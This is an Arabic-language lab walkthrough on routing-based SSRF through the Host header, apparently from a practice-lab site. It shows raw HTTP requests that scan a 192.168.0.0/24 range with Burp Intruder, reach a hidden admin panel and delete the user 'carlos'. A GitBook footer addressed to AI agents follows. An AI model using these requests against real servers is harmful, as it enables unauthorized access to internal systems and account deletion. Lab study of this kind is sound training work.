> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/host-header/routing-based-ssrf.md).

# SSRF قائم على التوجيه

### SSRF قائم على التوجيه

**وصف المختبر**

يحتوي هذا المختبر على **ثغرة من نوع SSRF تعتمد على التوجيه**، ويمكن استغلالها عبر **ترويسة Host**. / يعتمد التطبيق على قيمة `Host` الحقل لتحديد وجهة الطلبات، مما يتيح الوصول إلى موارد داخلية غير مكشوفة.

الهدف:

* الوصول إلى لوحة الإدارة الداخلية المستضافة على عنوان IP الخاص بـ `192.168.0.0/24` الشبكة
* حذف المستخدم **carlos**

**الملاحظة الأولية**

الـ `/admin` نقطة الوصول غير متاحة من الخارج. / ومع ذلك، يقوم التطبيق بتمرير الطلبات وفقًا لقيمة `Host` الحقل، مما يسمح بإعادة توجيه الطلب إلى عناوين داخلية.

**الخطوة 1 – فحص الشبكة الداخلية**

يُرسل الاستعلام التالي إلى **Intruder** لاختبار عناوين IP الداخلية:

```http
GET /admin HTTP/2
Host: 192.168.0.X
```

⚠️ مهم:

* عطّل خيار **تحديث ترويسة Host** في Burp، وإلا ستفشل الهجمة.

<figure><img src="/files/76244fb0d2a6dc9495d34bbbc334d7e841eedebe" alt=""><figcaption></figcaption></figure>

النتيجة:

* الـ `192.168.0.221` يُرجع العنوان استجابة **HTTP 200**، مما يشير إلى وجود لوحة الإدارة الداخلية.

<figure><img src="/files/dddc08f47a81cf9db4f5a61a17b1d43d4134ebc5" alt=""><figcaption></figcaption></figure>

**الخطوة 2 – الوصول إلى لوحة الإدارة**

بمجرد تحديد عنوان IP صالح، تستهدف لوحة الإدارة مباشرةً:

```http
GET /admin/delete?username=carlos HTTP/2
Host: 192.168.0.221
```

تصبح واجهة الإدارة الداخلية متاحة للوصول.

<figure><img src="/files/77dd255a4b89c1a3b7b582b538ec724293db69e8" alt=""><figcaption></figcaption></figure>

**الخطوة 3 – حذف المستخدم carlos**

يتطلب الحذف **طلب POST** طلبًا مع رمز CSRF صالح:

```http
POST /admin/delete HTTP/2
Host: 192.168.0.221

csrf=iWyb78rJxAsoblmARVtqSef6YOsKG0Ph&username=carlos
```

النتيجة:

* يرد الخادم بـ **302 Found**، مما يؤكد أن المستخدم **carlos** تم حذفه.

<figure><img src="/files/4168ae2771bfa07a65650b3b607055a5fd9c199d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/host-header/routing-based-ssrf.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
